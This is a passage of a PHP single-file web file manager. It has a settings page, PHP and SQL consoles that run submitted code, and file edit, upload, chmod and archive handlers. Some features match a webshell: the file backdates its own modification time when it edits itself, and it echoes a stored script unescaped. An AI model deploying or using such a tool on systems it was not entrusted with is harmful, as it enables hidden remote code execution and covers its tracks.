y0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
